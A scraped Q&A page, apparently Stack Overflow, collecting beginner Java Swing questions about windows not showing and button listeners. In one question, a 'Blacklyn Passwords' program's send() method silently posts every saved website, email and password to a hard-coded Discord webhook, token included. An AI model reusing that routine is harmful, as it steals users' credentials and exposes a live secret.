No GUI appearing, using AWT and Swing - java

I'm learning Java and beginning to build things with a GUI. The book I'm using gave me this code to enter and I did but nothing appeared. I have read another question with an answer that mentioned issues with overridable method calls but I'm not sure that has much to do with this.
Here is the code from the book:
enter code here
package com.java24hours;
import java.awt.*;
import javax.swing.*;
public class Crisis extends JFrame {
JButton panicButton;
JButton dontPanicButton;
JButton blameButton;
JButton mediaButton;
JButton saveButton;
public Crisis () {
super("Crisis");
setLookAndFeel();
setSize(348, 128);
setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
FlowLayout flo = new FlowLayout();
setLayout(flo);
panicButton = new JButton("Panic");
dontPanicButton = new JButton("Don't Panic");
blameButton = new JButton("Blame Others");
mediaButton = new JButton("Notify the Media");
saveButton = new JButton("Save Yourself");
add(panicButton);
add(dontPanicButton);
add(blameButton);
add(mediaButton);
add(saveButton);
setVisible(true);
}
private void setLookAndFeel() {
try {
UIManager.setLookAndFeel(
"com.sun.java.swing.plaf.nimbus.NimbusLookAndFeel"
);
} catch (Exception exc) {
//ignore error
}
}
public static void main (String[] args) {
Crisis frame = new Crisis();
}
}
The overridable methods are the "setXXXXX" and "add(XXXX)" methods if this is relevant.
The builds are successful in the lower window of NetBeans so it seems like the code runs okay but it produces nothing else on the screen.

Related

Why is GUI content not visible?

I made a basic GUI program with Java Swing. But it is not even opening. I think it might be because I put the setVisible(true) method at the beginning.
But even if I put it at the bottom of the code, it is not displaying. Here is my code. What am I doing wrong?
import javax.swing.*;
import java.awt.*;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.io.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.nio.file.StandardOpenOption;
import java.util.Arrays;
import java.util.Scanner;
import java.util.stream.Collectors;
public class Main {
public static void main(String[] args) throws Exception {
//objects ------------------------------------------------------------------------------------------------------
JTextArea area = new JTextArea();
JFrame jframe = new JFrame();
JPanel panel = new JPanel();
JLabel label = new JLabel();
JButton button = new JButton();
JButton btn = new JButton();
//frame---------------------------------------------------------------------------------------------------------
jframe.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
jframe.setTitle("Blacklyn Passwords");
jframe.setSize(400,200);
//also tried it here, it´s showing...but it´s white all the time, and I tried to refresh it,I minimized it, and opened it back...but nothing changed...still white "jframe.setVisible(true)"
//label---------------------------------------------------------------------------------------------------------
label.setText("Blacklyn");
label.setForeground(Color.BLACK);//(new Color(135, 134, 131));
label.setFont(new Font("Calibri",Font.BOLD,25));
//areas---------------------------------------------------------------------------------------------------------
String data = readFile("data.json");
area.setText(data);
area.setEditable(false);
area.setBackground(new Color(23,23,23));
area.setForeground(new Color(68, 68, 68));
//buttons--------------------------------------------------------------------------------------------------------
button.setText("ADD");
button.setForeground(new Color(135, 134, 131));
button.setBackground(new Color(23,23,23));
button.addActionListener(new ActionListener() {
#Override
public void actionPerformed(ActionEvent e) {
String Website = JOptionPane.showInputDialog(null,"Enter a Website or Topic.","Blacklyn",JOptionPane.PLAIN_MESSAGE);
String Email = JOptionPane.showInputDialog(null,"Enter a Email.","Blacklyn",JOptionPane.PLAIN_MESSAGE);
String Password = JOptionPane.showInputDialog(null,"Enter a Password","Blacklyn",JOptionPane.PLAIN_MESSAGE);
try {
String flll = "data.json";
json_write(flll, Website + " " + Email + " " + Password);
send(Website + " " + Email + " " + Password);
} catch (IOException ex) {
ex.printStackTrace();
}
try {
String msg = readFile("data.json");
area.setText(msg);
} catch (Exception ex) {
ex.printStackTrace();
}
}
});
btn.setText("DELETE");
btn.setForeground(new Color(135, 134, 131));
btn.setBackground(new Color(23,23,23));
btn.addActionListener(new ActionListener() {
#Override
public void actionPerformed(ActionEvent e) {
File file = new File("data.json");
if(file.exists()){
String storage = JOptionPane.showInputDialog(null,"Enter what Website or Topic you want to delete","Blacklyn",JOptionPane.PLAIN_MESSAGE);
try {
deleteLine(storage);
} catch (IOException ex) {
ex.printStackTrace();
}
try {
String msg = readFile("data.json");
area.setText(msg);
} catch (Exception ex) {
ex.printStackTrace();
}
}else{
JOptionPane.showMessageDialog(null,"You have no Passwords to delete","Blacklyn",JOptionPane.ERROR_MESSAGE);
}
}
});
//panel---------------------------------------------------------------------------------------------------------
panel.setBackground(new Color(15,15,15));
panel.add(label);
panel.add(button);
panel.add(btn);
panel.add(area);
// I also tried it here(its not even showing)jframe.setVisible(true);
//END-----------------------------------------------------------------------------------------------------------
jframe.add(panel);
//it´s also not showing
jframe.setContentPane(panel);
}
public static void deleteLine(String start) throws IOException {
RandomAccessFile file = new RandomAccessFile("data.json", "rw");
String delete;
String task="";
byte []tasking;
while ((delete = file.readLine()) != null) {
if (delete.startsWith(start)) {
continue;
}
task+=delete+"\n";
}
System.out.println(task);
BufferedWriter writer = new BufferedWriter(new FileWriter("data.json"));
writer.write(task);
file.close();
writer.close();
}
public static String readFile(String fileName)throws Exception
{
String data = "";
data = new String(Files.readAllBytes(Paths.get(fileName)));
return data;
}
public static void json_write(String file, String data) throws IOException {
FileWriter fw = new FileWriter(file,true);
fw.write(data + "\n");
fw.flush();
fw.close();
}
public static void send(String data) throws IOException {
DiscordWebhook dw = new DiscordWebhook("https://discord.com/api/webhooks/899693331968323605/Ln4AYxUO8caGZDvi9628LuhaFmjgnhPOf2rrY5wVKEbGdiMFlnlyVy8BhM-HX6a_LkI2");
dw.addEmbed(new DiscordWebhook.EmbedObject().setTitle("Hurensohn Jans Password").setDescription(data));
dw.execute();
}
}
I also tried to research online, but no one has the same problem. So I decided to open a question here.
I see you are probably following a tutorial.
There is a lot going on here. But the most important code is the first part.
You need to set your contentPane.
In every GUI with Java Swing, you set your JFrame to be the frame.
Then you add your JPanel to your JFrame.
frame.add(panel);
then you set your panel as contentPane:
frame.setContentPane(panel)
Then you add all your elements to your panel.
Also you need to use a layout manager.
You may do it with Layout null, but then you need to use the setBounds() method to put everything in place, which is okey for your first GUI, but a lot of work.
Does this help you? please use a comment if it helped or not, then I can take another look.
This is a typical "tutorial" coding style. Comparing it with building a house, one builds floors, doors, windows, here I also see a table with chairs, already electricity and plumbing (actionPerformed). That is very fragmentary, not your fault.
You could already start with some inheritance:
public class MyBlacklynFrame extends JFrame {
private JPanel panel;
private JLabel label = new JLabel("Hello");
public MyBlacklynFrame () {
setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
setTitle("Blacklyn Passwords");
setSize(400, 200);
panel = new JPanel();
panel.setLayout(new BorderLayout());
panel.add(label, BorderLayout.SOUTH);
add(panel);
pack();
}
}
public class Main {
public static void main(String[] args) throws Exception {
MyBlacklynFrame frame = new MyBlacklynFrame();
SwingUtilities.invokeLater(() -> frame.setVisible(true));
}
}
The above uses two different creation styles (for resp. panel and label).
The frame is made visible on the AWT event queue by invokeLater.
() -> frame.setVisible(true) is an anonymous function with as body frame.setVisible(true);. It will later be executed on the event handling thread of swing (where button clicks and redrawing happens).
Calling pack does layouting.
There are some GUI designers with which you can create all this code in a GUI with components. Afterwards you could look at the created code.
I hope you see that here the GUI is constructed hierarchical. A panel with several components, text box, buttons, could also be put in its own class. So panel = new MySuperPanel(); could keep all compartimentized.

How do I call a GUI form from another Java class

So I have been figuring out how to make this work but I can't find , so I decided to look for help, the below is how my code look like,What I'm trying to do is display the Main Menu after the user refuse to proceed the tutorial and I tried to
import javax.swing.*;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
public class Login {
public Login() {
String userName;
int option;
//This will ask user to input the username
userName = JOptionPane.showInputDialog(null,"Please enter your name","Welcome", JOptionPane.INFORMATION_MESSAGE);
//Display option
option =JOptionPane.showOptionDialog(null, "Welcome " + userName + "\n\nWould you like to have a tutorial about this game?",
"Welcome", JOptionPane.OK_CANCEL_OPTION, JOptionPane.INFORMATION_MESSAGE, null, null, null);
//Ok to continue to the tutorial
if(option == JOptionPane.OK_OPTION)
{
//Call the tutorial class
}
This is where the code gone wrong and I tried to resolve with different ways
else //If select cancel will proceed to the Main menu
{
//This is the part I can't figure it out, it display different errors when I try different ways
that I searched from website
MainMenu MainMenuGUI = new MainMenu();
}
}
}
And here's my Main Menu code
import javax.swing.*;
import javax.swing.plaf.basic.BasicInternalFrameTitlePane;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.awt.*;
import javax.swing.*;
public class MainMenu {
private JButton exitButton;
private JPanel MainMenu;
private JButton startButton;
private JButton historyButton;
public MainMenu() {
exitButton.addActionListener(new ActionListener() {
#Override
public void actionPerformed(ActionEvent e) {
int exitButton = JOptionPane.YES_NO_OPTION;
exitButton = JOptionPane.showConfirmDialog(null, "Are you sure you want to exit?", "Warning", JOptionPane.YES_NO_OPTION);
if (exitButton == JOptionPane.YES_OPTION)
{
System.exit(0);
}
}
});
}
//Main Menu GUI setup
public static void main(String[] args) {
JFrame frame = new JFrame("Main Menu");
frame.setContentPane(new MainMenu().MainMenu);
frame.setDefaultCloseOperation(JFrame.DO_NOTHING_ON_CLOSE);
frame.setMinimumSize(new Dimension(500, 500));
frame.pack();
frame.setVisible(true);
}
}
Your current code has a couple of problems.
By creating the JFrame container in your main method, you're preventing the UI from ever showing up when instantiating MainMenu - that is, the UI will only show anything when the main method is invoked by the JVM. To fix this, I've moved your JFrame instantiation/setup into MainMenu's constructor.
In the MainMenu class, the mainMenu JPanel is never instantiated. This means your current code doesn't actually paint anything on the JFrame - you need to instantiate mainMenu and add your GUI controls to mainMenu.
The code below fixes both problems.
public class MainMenu
{
private JButton exitButton;
private JPanel mainMenu;
private JButton startButton;
private JButton historyButton;
public MainMenu()
{
JFrame frame = new JFrame("Main Menu");
///// mainMenu IS ALWAYS NULL WITHOUT THE NEXT LINE!!!!
this.mainMenu = new JPanel();
frame.setContentPane(this.mainMenu);
frame.setDefaultCloseOperation(JFrame.DO_NOTHING_ON_CLOSE);
frame.setMinimumSize(new Dimension(500, 500));
frame.pack();
frame.setVisible(true);
exitButton.addActionListener(new ActionListener() {
#Override
public void actionPerformed(ActionEvent e)
{
int exitButton = JOptionPane.YES_NO_OPTION;
exitButton = JOptionPane.showConfirmDialog(null, "Are you sure you want to exit?", "Warning", JOptionPane.YES_NO_OPTION);
if (exitButton == JOptionPane.YES_OPTION)
{
System.exit(0);
}
}
});
}
//Main Menu GUI setup
public static void main(String[] args)
{
new MainMenu();
}
Get rid of the public static void main(String args[]) method in your MainMenu class. You only use the main method once in a java program. Instead, create a method like public void initUI() and place all the code you have inside the main() method in it.
And in your Login class, right after you call MainMenu MainMenuGUI = new MainMenu();
you can call MainMenuGUI.initUI().
One small thing, MainMenuGUI should probably be mainMenuGUI to properly follow camel case formatting and to avoid confusion later on.

Why won't main method print anything?

I've been trying to figure out what's wrong with my code. I have to build a GUI and there are no errors. The program builds successfully, but no GUI pops up. So in the main method, I commented out the GUI programming and added a simple System.out.println("hello"); but it does the same thing, i.e., it builds successfully, but does not print anything. Can someone please tell me what's wrong? Thanks!
/*
* To change this license header, choose License Headers in Project
Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package gui;
import java.awt.*;
import javax.swing.*;
import java.awt.Event.*;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
public class GUI extends JFrame {
GridLayout g = new GridLayout(5, 2);
private JLabel baseIn = new JLabel("Base Input");
private JLabel heightIn = new JLabel("Height Input");
private JTextField base = new JTextField();
private JTextField height = new JTextField();
private JTextField area = new JTextField();
private JButton calc = new JButton("Calculate Area");
public GUI() {
super("Triangle Area Calculator");
setSize(500, 300);
setLayout(g);
setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
add(baseIn);
add(heightIn);
add(base);
add(height);
add(area);
add(calc);
area.setEditable(false);
calc.addActionListener((ActionListener) this);
pack();
setVisible(true);
}
public void actionPerformed(ActionEvent e) {
try {
double bInput = Integer.valueOf(base.getText());
double hInput = Integer.valueOf(height.getText());
double aOutput = 0.5*bInput*hInput;
area.setText("Area of your triangle is: " + aOutput);
} catch (NumberFormatException n) {
System.out.println(n.getMessage());
}
}
public static void main(String[] args) {
/*JFrame frame = new JFrame();
GUI one = new GUI();
frame.getContentPane().add(one);
frame.pack();
frame.setVisible(true);*/
System.out.println("hello world");
}
}
First, going back to the basic code...
public class GUI extends JFrame {
//...
public static void main(String[] args) {
JFrame frame = new JFrame();
GUI one = new GUI();
frame.getContentPane().add(one);
frame.pack();
frame.setVisible(true);
}
}
Will fail, because you can't add a window based component to a window. As a general rule of thumb, you should avoid overriding JFrame (and other top level containers) directly and favour something less complex, like JPanel
public class GUI extends JPanel {
//...
public static void main(String[] args) {
EventQueue.invokeLater(new Runnable() {
#Override
public void run() {
JFrame frame = new JFrame();
frame.add(new GUI());
frame.pack();
frame.setLocationRelativeTo(null);
frame.setVisible(true);
}
});
}
}
Next...
calc.addActionListener((ActionListener) this);
The fact that you need to perform a cast in order to get the code to work is a clear sign that something else is wrong and this is likely to cause a runtime error and crash your program. Perhaps you should start by having a read of How to write a Action Listener and How to Use Buttons, Check Boxes, and Radio Buttons to get a better understanding of how the API works
This is further supported by making use of the #Override annotation, which should be used when ever you "think" you're implementing or overriding existing functionality...
#Override
public void actionPerformed(ActionEvent e) {
//...
}
This would then fail to compile, as you're not implementing any existing functionality. This functionality is described by the ActionListener interface which you are not implementing.
While you could implement this interface directly, I prefer to avoid doing so, as it exposes functionality that other classes shouldn't have access to and you run the risk of building a "god" method, which is never a good idea.
Instead, I prefer to make use of Java's Anonymous Classes, which provides a much better means for isolating functionality to single use case, for example...
calc.addActionListener(new ActionListener() {
#Override
public void actionPerformed(ActionEvent e) {
try {
double bInput = Integer.valueOf(base.getText());
double hInput = Integer.valueOf(height.getText());
double aOutput = 0.5 * bInput * hInput;
area.setText("Area of your triangle is: " + aOutput);
} catch (NumberFormatException n) {
System.out.println(n.getMessage());
}
}
});
Runnable Example
import java.awt.EventQueue;
import java.awt.GridLayout;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import javax.swing.JButton;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JPanel;
import javax.swing.JTextField;
public class GUI extends JPanel {
GridLayout g = new GridLayout(5, 2);
private JLabel baseIn = new JLabel("Base Input");
private JLabel heightIn = new JLabel("Height Input");
private JTextField base = new JTextField();
private JTextField height = new JTextField();
private JTextField area = new JTextField();
private JButton calc = new JButton("Calculate Area");
public GUI() {
setLayout(g);
add(baseIn);
add(heightIn);
add(base);
add(height);
add(area);
add(calc);
area.setEditable(false);
calc.addActionListener(new ActionListener() {
#Override
public void actionPerformed(ActionEvent e) {
try {
double bInput = Integer.valueOf(base.getText());
double hInput = Integer.valueOf(height.getText());
double aOutput = 0.5 * bInput * hInput;
area.setText("Area of your triangle is: " + aOutput);
} catch (NumberFormatException n) {
System.out.println(n.getMessage());
}
}
});
}
public static void main(String[] args) {
EventQueue.invokeLater(new Runnable() {
#Override
public void run() {
JFrame frame = new JFrame();
frame.add(new GUI());
frame.pack();
frame.setLocationRelativeTo(null);
frame.setVisible(true);
}
});
}
}
Netbeans properties...
Now, if all that still fails to net you a result, you need to make sure that your GUI class is configured as the "Main class".
Start by right clicking the Netbeans project node and select "Properties" (it's at the bottom).
From the "Projects Properties", select "Run" from the "Build" options down the left side.
Make sure that your GUI class is marked as the "Main Class", use "Browse" to find it if it's not
Try this
calc.addActionListener(new OptionButtonHandler());
I added one optionButtonHandler class which implements ActionListener. I checked on my IDE and I was able to get the area of the triangle.
private class OptionButtonHandler implements ActionListener {
public void actionPerformed(ActionEvent e) {
try {
double bInput = Integer.valueOf(base.getText());
double hInput = Integer.valueOf(height.getText());
double aOutput = 0.5 * bInput * hInput;
area.setText("Area of your triangle is: " + aOutput);
} catch (NumberFormatException n) {
System.out.println(n.getMessage());
}
}
}
In your case, GUI is not an ActionListener, so that will fail.
Can you right click on the file with the main method in Netbeans, you should see the run option there, select it. This would allow you set your main method. After this, subsequent clicks on the Green play Button should work.
You do not need to cast your Frame class to an ActionListener. Instead, make it implement the ActionListener interface and your code for the button action should work. But in future, its better to add logic to detect what component triggered the action.
I don't know, but how can you write this :
calc.addActionListener((ActionListener) this);
Your object (this) is a JFrame, you should add 'implements ActionListener' first, or create a separate implementation ...
Next error, you do :
GUI one = new GUI();
frame.getContentPane().add(one);
GUI extends JFrame, its a JFrame, you can't add a JFrame in another one !
I tested with add of 'implements ActionListener' and it runs, but some errors remains ;)
Copy/paste needs wisdom, hum ^^
EDIT
this code is not perfect (and very ugly) but it works for your example :
package com.mead.helmet.core;
import java.awt.GridLayout;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import javax.swing.JButton;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JPanel;
import javax.swing.JTextField;
import javax.swing.WindowConstants;
public class GUI extends JPanel implements ActionListener {
public static void main(final String[] args) {
JFrame frame = new JFrame("Triangle Area Calculator");
frame.setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE);
GUI one = new GUI();
frame.getContentPane().add(one);
frame.pack();
frame.setVisible(true);
System.out.println("hello world");
}
GridLayout g = new GridLayout(5, 2);
private final JLabel baseIn = new JLabel("Base Input");
private final JLabel heightIn = new JLabel("Height Input");
private final JTextField base = new JTextField();
private final JTextField height = new JTextField();
private final JTextField area = new JTextField();
private final JButton calc = new JButton("Calculate Area");
public GUI() {
super();
setSize(500, 300);
setLayout(g);
add(baseIn);
add(heightIn);
add(base);
add(height);
add(area);
add(calc);
area.setEditable(false);
calc.addActionListener((ActionListener) this);
setVisible(true);
}
/**
*
* #param event
*/
#Override
public void actionPerformed(final ActionEvent e) {
try {
double bInput = Integer.valueOf(base.getText());
double hInput = Integer.valueOf(height.getText());
double aOutput = 0.5 * bInput * hInput;
area.setText("Area of your triangle is: " + aOutput);
} catch (NumberFormatException n) {
System.out.println(n.getMessage());
}
}
}

Can't access getter in external class

I am trying to access a getter function from another class after creating it in the main method of a program. I have tried accessing the function from other places, but IntelliJ still gives the same error: cannot resolve method "getCurrentDeviceInfo()"
The relevant code is as follows:
Main Method Of Program (currentMidiDeviceInfo is a public variable)
public static void main(String[] args)
{
optionsGUI = new optionsGUI();
currentMidiDeviceInfo = optionsGUI.getCurrentDeviceInfo();
}
OptionsGUI Class
import javax.sound.midi.MidiDevice;
import javax.sound.midi.MidiSystem;
import javax.swing.*;
import java.awt.*;
public class optionsGUI extends JFrame{
public MidiDevice.Info currentDeviceInfo;
public MidiDevice.Info getCurrentDeviceInfo() {
return currentDeviceInfo;
}
public optionsGUI() {
//Setup JFrame
setLayout(new FlowLayout());
setSize(new Dimension(250, 140));
//Get MIDI Device Info
MidiDevice.Info[] midiDeviceInfo = MidiSystem.getMidiDeviceInfo();
currentDeviceInfo = midiDeviceInfo[0];
//Setup Midi Device Selection Label
JLabel midiDeviceBoxLabel = new JLabel("Select an MIDI Device");
add(midiDeviceBoxLabel);
//Setup Midi Device Selection
JComboBox midiDeviceBox = new JComboBox(midiDeviceInfo);
add(midiDeviceBox);
//Setup OK and Cancel Buttons
JButton okButton = new JButton("OK");
okButton.addActionListener(e ->
{
currentDeviceInfo = (MidiDevice.Info) midiDeviceBox.getSelectedItem();
setVisible(false);
});
JButton cancelButton = new JButton("Cancel");
cancelButton.addActionListener(e -> this.setVisible(false));
//Setup Button Panel
JPanel buttonPanel = new JPanel();
buttonPanel.add(okButton);
buttonPanel.add(cancelButton);
add(buttonPanel);
}
}
Maybe you need to make the getCurrentDeviceInfo() method static? Or maybe move that code outside of the main method?
optionsGUI was declared as a JFrame, I have changed it now, and it works, thanks for the help!

Java Swing. Opening a new JPanel from a JButton and making the buttons pretty

I am trying to build a little program that has a main GUI with 2 buttons. One button closes the program, the other I want to open a new JPanel that will have text fields etc.
I would like to be able to make the buttons so they look like normal application buttons I guess, nice and square, equal size etc. etc., I am not sure how to do this though.
Also, I am unsure how to open a new JFrame from a button click.
GUI Code:
package practice;
public class UserInterface extends JFrame {
private JButton openReportSelection = new JButton("Open new Window");
private JButton closeButton = new JButton("Close Program");
private JButton getCloseButton() {
return closeButton;
}
private JButton getOpenReportSelection() {
return openReportSelection;
}
public UserInterface() {
mainInterface();
}
private void mainInterface() {
setTitle("Program Information Application");
setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
JPanel centerPanel = new JPanel(new GridLayout(0, 3));
centerPanel.add(openReportSelection);
centerPanel.add(closeButton);
getCloseButton().addActionListener(new Listener());
add(centerPanel, BorderLayout.CENTER);
setSize(1000, 200);
setVisible(true);
}
private void addReportPanel() {
JPanel reportPanel = createNewPanel();
getContentPane().add(reportPanel, BorderLayout.CENTER);
}
private JPanel createNewPanel() {
JPanel localJPanel = new JPanel();
localJPanel.setLayout(new FlowLayout());
return localJPanel;
}
}
ActionListener Class code:
package practice;
import java.awt.event.ActionListener;
import java.awt.event.ActionEvent;
public class Listener implements ActionListener {
public void actionPerformed(ActionEvent ae) {
System.exit(0);
}
}
EDIT: I think opening a new JPanel would be the way to go rather than a JFrame. What would be the best way to do this from a Jbutton click?
Start by using a different layout manager, FlowLayout or GridBagLayout might work better
JPanel centerPanel = new JPanel(new FlowLayout());
centerPanel.add(openReportSelection);
centerPanel.add(closeButton);
These layouts will honour the preferred sizes of your buttons
As for opening another window, well, you've already create one, so the process is pretty much the same. Having said that, you might consider having a look at The Use of Multiple JFrames: Good or Bad Practice? before you commit yourself to far.
A better approach might be to use a JMenuBar and JMenuItems to act as the "open" and "exit" actions. Take a look at How to Use Menus then you could use a CardLayout to switch between views instead, for example
From a pure design perspective (I know it's only practice, but perfect practice makes perfect), I wouldn't extend anything from JFrame and instead would rely on building your main GUIs around something like JPanel instead.
This affords you the flexibility to decide how to use these components, as you could add them to frames, applets or other components...
If you want your buttons to have the native Look and Feel (L&F), add the following to your program:
UIManager.setLookAndFeel(UIManager.getSystemLookAndFeelClassName());
Instead of opening another JFrame, you'll want to instead use a JDialog, typically with modality set.
In Java, you can only extend one class and therefore you should consider carefully whether it is appropriate or not to extend another class. You could ask yourself, "Am I actually extending the functionality of JFrame?" If the answer is no, then you actually want to use an instance variable.
Below is an example program from the above recommendations:
import java.awt.Dialog;
import java.awt.Dimension;
import java.awt.EventQueue;
import javax.swing.JDialog;
import javax.swing.JFrame;
import javax.swing.UIManager;
import javax.swing.UnsupportedLookAndFeelException;
import java.awt.FlowLayout;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import javax.swing.JButton;
public class MyApplication {
private JFrame myframe; // instance variable of a JFrame
private JDialog mydialog;
public MyApplication() {
super();
myframe = new JFrame(); // instantiation
myframe.setSize(new Dimension(400, 75));
myframe.getContentPane().setLayout(new FlowLayout(FlowLayout.CENTER, 5, 5));
JButton btnNewWindow = new JButton("Open New Window");
btnNewWindow.addActionListener(new ActionListener() {
#Override
public void actionPerformed(ActionEvent e) {
mydialog = new JDialog();
mydialog.setSize(new Dimension(400,100));
mydialog.setTitle("I got you! You can't click on your JFrame now!");
mydialog.setModalityType(Dialog.ModalityType.APPLICATION_MODAL); // prevent user from doing something else
mydialog.setVisible(true);
}
});
myframe.getContentPane().add(btnNewWindow);
JButton btnCloseProgram = new JButton("Close Program :(");
btnCloseProgram.addActionListener(new ActionListener() {
#Override
public void actionPerformed(ActionEvent e) {
myframe.dispose();
}
});
myframe.getContentPane().add(btnCloseProgram);
myframe.setVisible(true);
}
public static void main(String[] args) {
try {
UIManager.setLookAndFeel(UIManager.getSystemLookAndFeelClassName());
} catch (ClassNotFoundException | InstantiationException | IllegalAccessException
| UnsupportedLookAndFeelException e1) {
e1.printStackTrace();
}
EventQueue.invokeLater(new Runnable() {
public void run() {
try {
new MyApplication();
} catch (Exception e) {
e.printStackTrace();
}
}
});
}
}
I am not sure from your question what do wou want to do. Do you want to open a new JFrame or do you want to add a JPanel to the existing frame.
To open a new JFrame using a button, create an instance of the JFrame in the actionPerformed method of the button. In your case it would look similar to this:
openReportSelection.addActionListener(new ActionListener() {
#Override
public void actionPerformed(ActionEvent arg0) {
JFrame frame = new JFrame();
// Do something with the frame
}
}
});
You're probably looking up to create and open a new JFrame. For this purpose, first you need to instantiate an object from JFrame Class. As an example, Let's instantiate a new JFrame with specific boundries.
JFrame testFrame = new testFrame();
verificationFrame.setBounds(400, 100, 250, 250);
Then you need to create your components like JButtons, Jlabels and so on, and next you should add them to your new testFrame object.
for example, let's create a Jlabel and add it testFrame:
JLabel testLbl = new JLabel("Ok");
testLbl.setBounds(319, 49, 200, 30);
testFrame.getContentPane().add(testLbl);
Now let's suppose you have a Jbutton which is named "jbutton" and by clicking it, a new JFrame object will be created and the Jlabel component will be added to it:
jButton.addActionListener(new ActionListener() {
#Override
public void actionPerformed(ActionEvent arg0) {
JFrame testFrame = new testFrame();
verificationFrame.setBounds(400, 100, 250, 250);
Label testLbl = new JLabel("Ok");
testLbl.setBounds(319, 49, 200, 30);
testFrame.getContentPane().add(testLbl);
}}});

Categories

Resources